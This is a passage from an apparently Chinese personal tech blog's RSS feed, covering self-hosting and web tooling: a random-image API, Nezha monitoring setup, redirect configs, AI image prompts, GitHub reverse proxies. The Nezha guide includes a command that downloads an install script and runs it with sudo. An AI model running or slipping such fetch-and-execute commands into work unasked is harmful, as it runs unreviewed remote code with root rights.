<p>图源存放EdgeOne Page,EdgeOne Pages Functions作为入口,当收到请求后首先区分 横屏、竖屏、自适应,即 <code>?img=h</code> <code>?img=v</code> <code>?img=ua</code> ,随后返回其内部存储的相应图片,关于更多详情,请参考源码: <a href="https://github.com/afoim/EdgeOne_Function_PicAPI/blob/main/functions/pic.js">EdgeOne_Function_PicAPI/functions/pic.js at main · afoim/EdgeOne_Function_PicAPI</a></p>
|
||
<h1>旧版实现</h1>
|
||
<p>利用 cnb.cool 存储图片eopf做中间代理</p>
|
||
<h1>旧旧版实现</h1>
|
||
<blockquote>
|
||
<p>在Cloudflare R2被刷了 <strong>7千万次(GET)请求</strong> 并且扣款 <strong>28.08 USD(折合人民币 207.93 CNY)</strong> 后废弃</p>
|
||
</blockquote>
|
||
<p>图源全部存在 <strong>Cloudflare R2</strong>,全部采用 <strong>Webp</strong> 格式,仅分类为 <strong>横屏、竖屏</strong> ,如图</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-31-04-13-08-image.CQ_Xo6cU.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-31-04-13-17-image.DJLoqL7l.png" alt="" /></p>
|
||
<p>API就拿我正投入使用的 https://eopfapi.acofork.com/pic?img=ua 来说</p>
|
||
<p>看域名也可以看出来,这是一个 <strong>EdgeOne Pages Functions</strong> 服务(下文简称 <strong>eopf</strong> ),什么?你问为什么用这个?那当然是因为! <strong>目前所有功能完全免费!</strong></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-31-04-18-45-image.BXXhv1XP.png" alt="" /></p>
|
||
<p>源码在 <a href="https://github.com/afoim/EdgeOne_Function_PicAPI">afoim/EdgeOne_Function_PicAPI: 适用于EdgeOne边缘函数的随机图API</a></p>
|
||
<p>原理为让 <strong>eopf</strong> 连接上 <strong>Cloudflare R2</strong> 然后随机拿一张图出来。没错!就这么简单!</p>
|
||
<p><em>上文提到的另一个CF Worker端点原理也一样,只不过CF内部连接R2就不用手搓S3鉴权了</em></p>
|
||
</content:encoded></item><item><title>记录一下批量重命名插件咋写的</title><link>https://blog.acofork.com/posts/rename/</link><guid isPermaLink="true">https://blog.acofork.com/posts/rename/</guid><description>因为重装系统了,一些小插件丢失了,要重写,然后又把之前的坑踩了一遍</description><pubDate>Sat, 06 Sep 2025 01:59:26 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<p>首先我让AI写一个批量重命名插件</p>
|
||
<pre><code>编写一个重命名的脚本(Python)
|
||
让我通过 python xxx.py (目录)
|
||
传入一个目录,然后将内部的所有文件按照 1 2 3 4 5这样重命名,保留原后缀
|
||
</code></pre>
|
||
<p>然后AI写出来了,但是有一个交互</p>
|
||
<pre><code>是否要对 xxx 进行批量重命名(Y/N):
|
||
</code></pre>
|
||
<p>我就让他删掉</p>
|
||
<pre><code>不要交互,直接运行
|
||
</code></pre>
|
||
<p>然后又出现了新问题,如果有一个文件,比如 <code>100.webp</code> 已经存在,然后在Python的默认排序中,<code>100.webp</code> 可能并不是第 <strong>100</strong> 个,也就是说会有别的文件将要被重命名为 <code>100.webp</code> 然后代码对于这样的文件会直接跳过,这就会导致重命名不完全</p>
|
||
<p>那么我就说</p>
|
||
<pre><code>不要跳过 强制重命名
|
||
</code></pre>
|
||
<p>然后新的问题出现了:如果已经有一个文件为 <code>100.webp</code> 是无法将另一个文件也重命名为 <code>100.webp</code> 的,会报错</p>
|
||
<pre><code>重命名文件 '716.webp' 失败: [WinError 183] 当文件已存在时,无法创建该文件。: 'C:\\Users\\acofork\\Pictures\\r1\\ri\\h\\716.webp' -&gt; 'C:\\Users\\acofork\\Pictures\\r1\\ri\\h\\744.webp'
|
||
</code></pre>
|
||
<p>那么最后,我用了一个绝妙的办法</p>
|
||
<ol>
|
||
<li>
|
||
<p>将所有文件随机命名</p>
|
||
</li>
|
||
<li>
|
||
<p>重新排序</p>
|
||
</li>
|
||
<li>
|
||
<p>依次重命名</p>
|
||
</li>
|
||
</ol>
|
||
<p>于是我继续说</p>
|
||
<pre><code>先全部命名为 随机数,然后再重新命名
|
||
</code></pre>
|
||
<p>这下就对了</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-06-02-06-32-image.DX7pPRyz.png" alt="" /></p>
|
||
</content:encoded></item><item><title>UptimeRobot,无需自托管的服务监控!</title><link>https://blog.acofork.com/posts/uptimerobot/</link><guid isPermaLink="true">https://blog.acofork.com/posts/uptimerobot/</guid><description>之前曾用过BetterStack这样的云端服务监控,但是免费计划的监控数量仅有10个,而今天推荐的这个支持高达50个!</description><pubDate>Thu, 04 Sep 2025 04:03:56 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<p>进入 https://dashboard.uptimerobot.com/</p>
|
||
<p>注册一个账号,然后开始创建监控。免费计划最多<strong>50</strong>个监控,仅支持 <code>HEAD</code> 请求,不支持更改请求头和请求体,最低轮询冷却为 5 分钟。<strong>不支持 IPv6</strong></p>
|
||
<p>然后点击 <code>Status pages</code> 创建展示页面</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-04-04-10-47-image.BfRcAn7P.png" alt="" /></p>
|
||
<p>建议设置为自动添加,这样就无需手动将监控一个个添加到页面,你的账户下每创建一个新的监控都会实时同步到你的展示页上</p>
|
||
<p>配置完毕后, 在 <code>Public status page, hosted on</code> 后就是你的监控展示页面</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-04-04-13-19-image.CdpsYrhW.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-04-04-15-31-image.LQ4v1pm9.png" alt="" /></p>
|
||
</content:encoded></item><item><title>想玩k3s?Zeabur来帮你!</title><link>https://blog.acofork.com/posts/zeabur/</link><guid isPermaLink="true">https://blog.acofork.com/posts/zeabur/</guid><description>Zeabur是一个PaaS服务,它可以让你将自己的服务器托管上去,然后在网页上进行管理,就像传统服务器面板一样,这些都是免费!</description><pubDate>Wed, 03 Sep 2025 06:49:16 GMT</pubDate><content:encoded><h1>这是个啥?</h1>
|
||
<p>它可以连接你的VPS(前提,CPU≥1c,RAM≥2G)。然后在你的机子上面跑服务,包括</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-03-06-54-43-5b8f9673e031a723ab2fb8a262d384d2.1tK5Bmc3.png" alt="" /></p>
|
||
<h1>正式开始</h1>
|
||
<p>进入 <a href="https://zeabur.com/servers">My Servers - Zeabur</a></p>
|
||
<p>点击创建</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-03-06-55-36-image.CuYcEpas.png" alt="" /></p>
|
||
<p>点击添加自己的服务器</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-03-06-55-47-image.Cj1Sb1LR.png" alt="" /></p>
|
||
<p>阅读要求,继续</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-03-06-56-01-image.CNXmDsGw.png" alt="" /></p>
|
||
<p>填写SSH连接信息,让Zeabur连接到你的服务器</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-03-06-56-30-image.BWyCkqYe.png" alt="" /></p>
|
||
<p>之后会开始安装k3s等工具,我们将不再需要手动SSH登入服务器了,直接在Zeabur的网页上配置即可!</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-03-06-57-08-image.jkJPjef7.png" alt="" /></p>
|
||
<p>接下来我们可以尝试部署服务,Zeabur将服务部署到你自托管的服务器是不收费的</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-03-06-57-41-image.CGLrr-yo.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-03-06-57-52-image.DnZxOaxu.png" alt="" /></p>
|
||
<p>请自由发挥!</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-03-06-54-43-5b8f9673e031a723ab2fb8a262d384d2.1tK5Bmc3.png" alt="" /></p>
|
||
</content:encoded></item><item><title>哪吒监控搭建教程</title><link>https://blog.acofork.com/posts/nezha/</link><guid isPermaLink="true">https://blog.acofork.com/posts/nezha/</guid><description>想不想在上帝视角监测你的服务器?顺便再把Uptime Kuma的活也干了!</description><pubDate>Wed, 03 Sep 2025 04:58:25 GMT</pubDate><content:encoded><blockquote>
|
||
<p>官方教程: https://nezha.wiki/</p>
|
||
</blockquote>
|
||
<h1>安装面板端(Dashboard)</h1>
|
||
<blockquote>
|
||
<p>面板端即WebUI,同时也接受后端连接。用户和面板连接使用WebSocket,后端和面板端使用gRPC通信</p>
|
||
</blockquote>
|
||
<pre><code>curl -L https://raw.githubusercontent.com/nezhahq/scripts/refs/heads/main/install.sh -o nezha.sh &amp;&amp; chmod +x nezha.sh &amp;&amp; sudo ./nezha.sh
|
||
</code></pre>
|
||
<p>默认端口为 8008</p>
|
||
<p>在 <code>请指定安装命令中预设的 nezha-agent 连接地址 (例如 example.com:443)</code> 填写你的 <code>VPS IP:8008</code> 。当然,你也可以套CDN,如果套CDN则填写 <code>CDN域名:443</code> ,请确保你的CDN支持gRPC通信。本人不推荐后端和面板通信使用CDN</p>
|
||
<pre><code>请输入站点标题: Nezha - AcoFork
|
||
请输入暴露端口: (默认 8008)
|
||
请指定安装命令中预设的 nezha-agent 连接地址 (例如 example.com:443)46.232.60.28:8008
|
||
是否希望通过 TLS 连接 Agent?(影响安装命令)[y/N]n
|
||
请指定后台语言
|
||
1. 中文(简体)
|
||
2. 中文(台灣)
|
||
3. English
|
||
请输入选项 [1-3]1
|
||
</code></pre>
|
||
<p>接下来,你应该可以在 8008 端口进入哪吒探针的WebUI</p>
|
||
<p>点击登录,默认账密均为 <code>admin</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-03-05-07-55-image.B3heauJF.png" alt="" /></p>
|
||
<p>首先我们先更改管理员账密,鼠标移到右上角头像,点击 <code>个人信息</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-03-05-08-40-image.BoCdLyaQ.png" alt="" /></p>
|
||
<p>然后点击 <code>更新个人资料</code> 更改管理员账密</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-03-05-09-06-image.DSvHG06Q.png" alt="" /></p>
|
||
<h1>安装后端(Agent)</h1>
|
||
<p>打开哪吒探针的WebUI,在服务器一栏可以找到安装命令,选择对应系统的,然后前往终端执行即可。稍后你将会看到一个随机名称的新服务器上线</p>
|
||
<p><em>如果你的服务器在中国大陆,可能无法连接上 <code>raw.githubusercontent.com</code> 。推荐使用镜像 <code>raw.gitmirror.com</code> 即可</em></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-03-05-10-14-image.D-TLgV_g.png" alt="" /></p>
|
||
<h1>配置服务</h1>
|
||
<p>哪吒探针也支持类似UptimeKuma那种的服务监测,支持HTTP Ping TCP,具体参见导航栏的服务</p>
|
||
<p><em>这里添加的所有服务,都可以借用已添加到哪吒探针的服务器进行监测</em></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-03-05-15-22-image.BXhBJeAY.png" alt="" /></p>
|
||
<h1>配置通知</h1>
|
||
<p>哪吒探针支持配置通知,以在服务宕机等情况及时通知你,详见 <a href="https://nezha.wiki/guide/notifications.html">通知设置 | 哪吒服务器监控</a></p>
|
||
<h1>疑难解答</h1>
|
||
<ul>
|
||
<li>
|
||
<p>我套了CDN,服务器可以成功上线,但是获取到的IP为内网IP:请在系统设置中配置真实IP请求头<img src="https://blog.acofork.com/_astro/2025-09-03-05-19-32-image.BMWxoEDi.png" alt="" /></p>
|
||
</li>
|
||
<li>
|
||
<p>我使用Cloudflare CDN,服务器始终无法上线。原因不明,但是可以通过部署该项目解决 <a href="https://github.com/yumusb/nezha-new">yumusb/nezha-new</a></p>
|
||
</li>
|
||
</ul>
|
||
</content:encoded></item><item><title>给想买麦克风的朋友一些建议</title><link>https://blog.acofork.com/posts/mic/</link><guid isPermaLink="true">https://blog.acofork.com/posts/mic/</guid><description>这几年大大小小的麦都玩过了,无论是几千的舒尔,RODE,还是几百的闪克,绿联,又或是仅100的带麦半入耳,今天就给大家总结一下坑点</description><pubDate>Tue, 02 Sep 2025 10:34:12 GMT</pubDate><content:encoded><h1>明确你的需求</h1>
|
||
<p>你买麦克风是要做什么?和朋友语音想要更清晰?想要录歌/K歌/录视频/做播客?</p>
|
||
<h1>如果你只是想和朋友语音</h1>
|
||
<p>如果你正在使用一些耳机的线控麦,那不用购入新的麦克风,直接使用 <a href="https://www.nvidia.cn/geforce/broadcasting/broadcast-app/">NVIDIA Broadcast App - 以 AI 助力语音和视频 | NVIDIA</a> 或其他降噪软件/服务即可</p>
|
||
<h1>想要录歌/K歌/录视频/做播客</h1>
|
||
<p>这又涉及到你的录音环境,你的录音环境是否安静?是否有空调噪音?装修噪音?各种杂七杂八的噪音?</p>
|
||
<p>如果你的录音环境并不能做到绝对安静,那么 <strong>动圈麦</strong> 绝对是首选</p>
|
||
<blockquote>
|
||
<p><strong>电容麦</strong> 和 <strong>动圈麦</strong> 有什么区别?</p>
|
||
</blockquote>
|
||
<ul>
|
||
<li>
|
||
<p>电容麦:将一切收音,包括你的环境噪声,适合需要做后期的,不适合懒人,几乎每一段音源都需要后期,但相对的,后期空间较大,也很适合做ASMR这种将微小动静放大的业务</p>
|
||
</li>
|
||
<li>
|
||
<p>动圈麦:几乎只收中频段的人声,收音不灵敏,几乎不收录环境噪声。在不做任何后期的情况下人声就非常饱满。优点是只收人声,缺点是如果离得太远收音不好,建议仅间隔5~30cm进行收音</p>
|
||
</li>
|
||
</ul>
|
||
<p>推荐: 山逊Q2U动圈麦克风,我买的时候是279 CNY,现在市场价为400 CNY左右</p>
|
||
<p>这款麦的缺点是使用远古的 Mini USB以及裸机不配备支架,需要自己搭配桌面支架和悬臂支架使用</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-02-10-54-48-IMG20250902105434.BHtUuB9Y.jpg" alt="" /></p>
|
||
<p>我有钱!我要加钱!</p>
|
||
<p>好,那么推荐舒尔MV6。这款麦有配套的App,支持自动电平(防爆音。有时候好用有时候不好用)然后就跟上面的山逊 Q2U没什么区别了,售价1349 CNY</p>
|
||
<p>开箱体验视频: <a href="https://www.bilibili.com/video/BV1JoJqzBEyA">简单开箱舒尔MV6麦克风_哔哩哔哩_bilibili</a></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-02-11-00-14-Screenshot_2025-09-02-10-59-56-76_4fbb30eb7b71661.Dck_lM_a.jpg" alt="" /></p>
|
||
<h1>我现在用的麦克风?</h1>
|
||
<p>没有什么麦是能全方位胜任所有工作的,所以我手头上有三个麦</p>
|
||
<ul>
|
||
<li>
|
||
<p>山逊 Q2U:曾经是我唯一的主力麦克风,也用他录了不少视频,但是因为需要使用悬臂支架并且收音范围太窄录个音跟舌吻一样并且我人太懒懒得用了,有时候唱歌/录视频的时候用用</p>
|
||
</li>
|
||
<li>
|
||
<p>绿联 USB MIC-CM727:音质一般,但是价格仅不到200 CNY。电容麦,收音范围广,作为日常使用麦(我现在几乎已经无所谓音质了)</p>
|
||
</li>
|
||
<li>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-02-11-07-46-IMG20250902110659.C5EM6Oo7.jpg" alt="" /></p>
|
||
</li>
|
||
<li>
|
||
<p>全民K歌KPods SE:这严格上来说是个常规半入耳+电容领夹麦,但是奈何产品经理太天才了,可以将麦挂在下唇下面,这样收音又清晰又可以随便动来动去,唯一的缺点还是我太懒了,感觉下唇下面挂个东西有异物感,并且如果勒的太紧一天下来耳朵会痛,所以一般也是唱歌的时候用用,价格 109 CNY(国补)</p>
|
||
</li>
|
||
<li>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-02-11-07-54-IMG20250902110730.C64MZjuz.jpg" alt="" /></p>
|
||
</li>
|
||
</ul>
|
||
<h1>坑点</h1>
|
||
<ul>
|
||
<li>
|
||
<p>不要买那种需要接声卡的麦克风,除非你财大气粗,并且喜欢折腾,如果你购入一个卡农口的麦克风,你需要再为它配几千的声卡,都到这了不整个监听耳机是不是过不去,一套下来小一万了,然后你想用的时候还得先把超级大声卡拿出来接上电脑,然后接上麦克风,监听耳机,最后电脑打开均衡器,各种调一通才能开始录,而如果你又恰好买了个电容麦且环境嘈杂,那你有福报了,折腾几个小时录完音,在折腾几个小时后期,反正我没这精力。独立麦克风买USB麦克风即可</p>
|
||
</li>
|
||
<li>
|
||
<p>我始终不推荐买一个独立的电容麦克风,这东西越高端越吃你的录音环境,一万块的铁三角电容麦买回来给环境噪音录得一清二楚你受得了吗</p>
|
||
</li>
|
||
<li>
|
||
<p>如果你需要录歌/录视频等需要监听的场景,请确保买的麦克风支持硬件级监听(0延迟的那种)</p>
|
||
</li>
|
||
<li>
|
||
<p>不要先买一个3.5mm的麦克风,然后再买一个3.5mm的耳机,然后再买一个双3.5mm的神经小声卡接起来用。还不如单买个 Earpods</p>
|
||
</li>
|
||
<li>
|
||
<p>不要指望游戏耳机的麦克风音质能有多好,同时我也不推荐购入游戏耳机,一个动圈麦+Earpods也才不到500块钱,有些游戏耳机开始就上千</p>
|
||
</li>
|
||
<li>
|
||
<p>不要上头!不要上头!不要上头!不要没需求创造需求!<strong>你买了个几千块钱的麦并不会提高你的唱功!</strong></p>
|
||
</li>
|
||
<li>
|
||
<p>不要想着一个麦通吃所有场景。便宜的USB桌面麦克风(带降噪的那种)就适合打游戏时候动来动去跟队友吹牛逼的情况。而高端的动圈麦如舒尔MV6就适合去做播客/唱歌那种几小时不动一下的场景。你要硬说通吃的话,Earpods确实能通吃,但是吧线控耳机的麦克风收音完全取决于你把他放在什么位置,你总不能一直挂嘴上吧,就像 全民K歌KPods SE 一样?倒也可以,我确实是越来越懒了</p>
|
||
</li>
|
||
</ul>
|
||
</content:encoded></item><item><title>配置 Vercel.json 以支持服务器级别的重定向</title><link>https://blog.acofork.com/posts/vercel-redirects/</link><guid isPermaLink="true">https://blog.acofork.com/posts/vercel-redirects/</guid><description>如果你的站点(无论静态/动态)正在使用Vercel,则配置重定向是一件非常轻松的事情</description><pubDate>Tue, 02 Sep 2025 06:33:27 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<blockquote>
|
||
<p>官方文档: <a href="https://vercel.com/docs/redirects">Redirects</a></p>
|
||
</blockquote>
|
||
<p>在你的仓库根目录创建 <code>vercel.json</code> 写入重定向规则</p>
|
||
<p><code>source</code> 为要重定向的路径,<code>destination</code> 为重定向到的路径/URL,<code>permanent</code> 为一个可选的布尔值,用于在永久重定向和临时重定向之间切换(默认为 <code>true</code>)。当 <code>true</code> 时,状态代码为 <a href="https://developer.mozilla.org/docs/Web/HTTP/Status/308">308</a>。当 <code>false</code> 时,状态代码为 <a href="https://developer.mozilla.org/docs/Web/HTTP/Status/307">307</a>。</p>
|
||
<pre><code>{
|
||
"redirects": [
|
||
{
|
||
"source": "/ak",
|
||
"destination": "https://akile.io/register?aff_code=503fe5ea-e7c5-4d68-ae05-6de99513680e",
|
||
"permanent": false
|
||
},
|
||
{
|
||
"source": "/kook",
|
||
"destination": "https://kook.vip/K29zpT",
|
||
"permanent": false
|
||
},
|
||
{
|
||
"source": "/long",
|
||
"destination": "https://iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii.iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii.in/",
|
||
"permanent": false
|
||
},
|
||
{
|
||
"source": "/mly",
|
||
"destination": "https://muleyun.com/aff/GOTRJLPN",
|
||
"permanent": false
|
||
},
|
||
{
|
||
"source": "/tg",
|
||
"destination": "https://t.me/+_07DERp7k1ljYTc1",
|
||
"permanent": false
|
||
},
|
||
{
|
||
"source": "/tit",
|
||
"destination": "/posts/pin/",
|
||
"permanent": false
|
||
},
|
||
{
|
||
"source": "/tly",
|
||
"destination": "https://tianlicloud.cn/aff/HNNCFKGP",
|
||
"permanent": false
|
||
},
|
||
{
|
||
"source": "/wly",
|
||
"destination": "https://wl.awcmam.com/#/register?code=FNQwOQBM",
|
||
"permanent": false
|
||
},
|
||
{
|
||
"source": "/yyb",
|
||
"destination": "https://www.rainyun.com/acofork_?s=bilibili",
|
||
"permanent": false
|
||
}
|
||
]
|
||
}
|
||
</code></pre>
|
||
</content:encoded></item><item><title>利用Astrov3的原生重定向来实现各种各样的高级重定向!</title><link>https://blog.acofork.com/posts/astrov3-redirects/</link><guid isPermaLink="true">https://blog.acofork.com/posts/astrov3-redirects/</guid><description>曾经,我使用Cloudflare Pages Redirects来实现我的个人短链重定向,而现在我发现我可以直接将它集成到我的Astro博客</description><pubDate>Tue, 02 Sep 2025 05:56:19 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<blockquote>
|
||
<p>Astro v3 正式支持了原生的重定向 <a href="https://docs.astro.js.cn/en/guides/routing/#configured-redirects">路由 | 文档 - Astro 文档</a></p>
|
||
</blockquote>
|
||
<p>仅需在 <code>astro.config.mjs</code> 中添加如下代码,示例代码将 <code>/tit</code> 的请求 302 重定向到 <code>/posts/pin</code> 。可以配置多行重定向规则</p>
|
||
<pre><code>import { defineConfig } from "astro/config";
|
||
|
||
export default defineConfig({
|
||
redirects: {
|
||
"/tit": {
|
||
destination: "/posts/pin/",
|
||
status: 302,
|
||
},
|
||
}
|
||
});
|
||
</code></pre>
|
||
<p>有的小伙伴就会问了,如果我的Astro输出模式为SSG?那Astro的重定向是不是不支持 <code>location</code> 重定向?仅支持 <code>HTML</code> 重定向?</p>
|
||
<p>的确,在不对构建服务商进行额外配置的情况下,Astro会使用兼容模式,创建 <code>HTML</code> 重定向,你可以尝试安装适配器来支持重定向,但需要注意 <strong>并不是所有适配器都会透传Astro中设置的重定向规则</strong> ,始终建议使用您构建服务商提供的重定向服务,参见: <a href="/posts/vercel-redirects/">配置 Vercel.json 以支持服务器级别的重定向</a>。如配置 <code>vercel.json</code> 。关于 Astro 适配器的更多信息,参见 <a href="https://docs.astro.build/zh-cn/reference/configuration-reference/#adapter">配置参考 | Docs</a></p>
|
||
</content:encoded></item><item><title>Google最新的AI生图模型 Nano Banana!立绘转真人!一键P图!</title><link>https://blog.acofork.com/posts/gemini-nano-banana/</link><guid isPermaLink="true">https://blog.acofork.com/posts/gemini-nano-banana/</guid><description>哎我造了村里孩子吃上城里货了,这你扯不扯,这AI生图方便好,无需部署不费脑,大口大口使劲造,鼻歪眼斜使劲笑</description><pubDate>Mon, 01 Sep 2025 16:25:34 GMT</pubDate><content:encoded><h1>快速上手</h1>
|
||
<p>进入 <a href="https://aistudio.google.com/prompts/new_chat">Google AI Studio</a></p>
|
||
<p>粘贴一张图,说出你想要的更改</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-01-16-33-14-1dc081b4dcb4eb99fd68c1d97322517a.CHgi2-8E.png" alt="" /></p>
|
||
<h1>立绘转真人COS</h1>
|
||
<blockquote>
|
||
<p>Prompt:Generate a highly detailed photo of</p>
|
||
<p>a girl cosplaying this illustration, at Comiket.</p>
|
||
<p>Exactly replicate the same pose, body posture,</p>
|
||
<p>hand gestures, facial expression, and camera</p>
|
||
<p>framing as in the original llustration. Keep the</p>
|
||
<p>same angle, perspective, and composition,</p>
|
||
<p>without any deviation</p>
|
||
</blockquote>
|
||
<p>注意:</p>
|
||
<ul>
|
||
<li>
|
||
<p>立绘最好为纯色背景,人物主体完整</p>
|
||
</li>
|
||
<li>
|
||
<p>立绘中角色不要做出现实中无法做出的动作,这可能会触发AI的Copy,会将图片完整的复制过来而不是创建一个Coser</p>
|
||
</li>
|
||
</ul>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-01-16-34-07-7d28242d1b8c18abf6d6b44f8064abff.DY4YHfVT.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-01-16-37-48-572b1752-d279-4fc3-93a4-165a75640d84.DswLYT7M.png" alt="" /></p>
|
||
<h1>七夕生草图</h1>
|
||
<blockquote>
|
||
<p>Prompt: A photorealistic scene inside a McDonald’s restaurant.</p>
|
||
<p>On my table, there is a picture frame showing the anime-style image I provided.</p>
|
||
<p>Everything outside the frame must be 100% realistic and human.</p>
|
||
<p>On the opposite table, a real Chinese couple is sitting together.</p>
|
||
<p>The female partner is cosplaying the character from the provided image, wearing the same outfit, but she must look like a real human girl, not a drawing or cartoon.</p>
|
||
<p>⚠️ She should not mimic the exact pose or gesture from the anime illustration — instead, she should be doing something natural for a restaurant setting, such as eating food, drinking from a cup, talking with her partner, or smiling casually.</p>
|
||
<p>The entire environment (restaurant interior, people, cosplay) must look like a natural camera photo.</p>
|
||
<p>Apply background blur (bokeh effect) to the opposite table and everything behind it, making the image look like it was taken with a DSLR camera, not generated.</p>
|
||
<p>Only the picture inside the frame can contain anime style; all other elements must be realistic.</p>
|
||
</blockquote>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-01-16-38-35-cfdbd266c99acc5da9bc6d5f4edf57ba.DRMMvJUS.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-01-16-39-17-5976a1f7-3f14-4987-aa60-3257b05f8b7b.EMITHA8a.png" alt="" /></p>
|
||
<h1>去除背景</h1>
|
||
<blockquote>
|
||
<p>Prompt: 将这张图去除背景,仅保留人物主体</p>
|
||
</blockquote>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-01-16-33-14-1dc081b4dcb4eb99fd68c1d97322517a.CHgi2-8E.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-09-01-16-40-02-72ff1a60-c98b-443e-b231-e068a0429fb8.ChJ2Xk9u.png" alt="" /></p>
|
||
<hr />
|
||
<h1>结语</h1>
|
||
<ul>
|
||
<li>
|
||
<p>最好使用英语Prompt</p>
|
||
</li>
|
||
<li>
|
||
<p>可以先对通用大模型(如ChatGPT)描述你要绘制什么图片,然后让他给你返回英文Prompt</p>
|
||
</li>
|
||
<li>
|
||
<p>好图秀图不是一蹴而就的,需要细心打磨</p>
|
||
</li>
|
||
</ul>
|
||
</content:encoded></item><item><title>Cyberduck - 简洁好用的S3文件浏览器</title><link>https://blog.acofork.com/posts/cyberduck/</link><guid isPermaLink="true">https://blog.acofork.com/posts/cyberduck/</guid><description>对象存储是一个非常好用的东西,但是要如何方便的上传文件呢?</description><pubDate>Sun, 31 Aug 2025 03:38:24 GMT</pubDate><content:encoded><h1>前情提要</h1>
|
||
<p>你可能知道 或不知道我运营着一个 <strong>二次元随机图 API</strong>,比如 <a href="https://pic.072103.xyz/">AcoFork - RandomPic</a></p>
|
||
<p>它的图片存储在 <strong>Cloudflare R2</strong> 也就是 Cloudflare 提供的对象存储</p>
|
||
<p>随机图库存总是要扩充的,在曾经,我会使用 <a href="https://alistgo.com/zh/">AList</a> ,但现在,我会使用 <a href="https://cyberduck.io/">Cyberduck</a></p>
|
||
<h1>这是什么?</h1>
|
||
<p><a href="https://cyberduck.io/">Cyberduck</a> 是一个 Win&amp;Mac 双端的云存储浏览器,相比于 AList 它无需部署,传输文件也无需中转,仅作为一个前端来连接你自己的对象存储,简洁易用,界面如图</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-31-03-45-24-image.L8yxXw7M.png" alt="" /></p>
|
||
<p>如果你想将云存储映射为本地磁盘,可以使用姊妹软件 <a href="https://mountainduck.io/">Mountain Duck</a></p>
|
||
<h1>优点?</h1>
|
||
<p>API的图片统计,我无需再手搓S3 API来获取图片数量了,它自带</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-31-03-47-41-image.C3EmH4TM.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-31-03-47-57-image.PWvkD0Z9.png" alt="" /></p>
|
||
<hr />
|
||
<p>上传文件无需再通过家里云的 AList 中转了</p>
|
||
<p>之前的链路:我 - AList - S3</p>
|
||
<p>现在的链路:我 - S3</p>
|
||
<p>这显著降低了传输时间,提高了工作效率</p>
|
||
<hr />
|
||
<p>不止于S3,临时给家庭服务器传输文件可以直接使用SFTP而无需登录1Panel等面板了</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-31-03-52-04-image.DdnBb9gE.png" alt="" /></p>
|
||
</content:encoded></item><item><title>利用Vercel Function搭建一个Github全站反代</title><link>https://blog.acofork.com/posts/vercel-github/</link><guid isPermaLink="true">https://blog.acofork.com/posts/vercel-github/</guid><description>嫌弃CF Worker不够快?那就试试Vercel Function!</description><pubDate>Sat, 30 Aug 2025 21:35:52 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<p>首先请阅读 <a href="/posts/gh-proxy/">这篇文章</a> 知晓大致原理。</p>
|
||
<p>克隆 <a href="https://github.com/afoim/VercelFunctionGithubProxy">afoim/VercelFunctionGithubProxy</a>,部署到Vercel,绑你自己域名</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-30-22-14-07-aa3b925d5e2e522cc0a0abccd87b5887.BvOs_qJb.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-30-22-14-10-b79c2d588117ab15fc4a08efe359db4f.BhRlkDbv.png" alt="" /></p>
|
||
</content:encoded></item><item><title>在EdgeOne Page Function上搭建一个Github全站反代!</title><link>https://blog.acofork.com/posts/eopf-github-proxy/</link><guid isPermaLink="true">https://blog.acofork.com/posts/eopf-github-proxy/</guid><description>很早就关注了eopf这个平台,今天终于将基于CF Worker的Github全站反代移植过来了!</description><pubDate>Sat, 30 Aug 2025 20:28:35 GMT</pubDate><content:encoded><h1>开始实现</h1>
|
||
<blockquote>
|
||
<p>源码: <a href="https://github.com/afoim/EdgeOnePagesFunctionGithubProxy">afoim/EdgeOnePagesFunctionGithubProxy</a></p>
|
||
</blockquote>
|
||
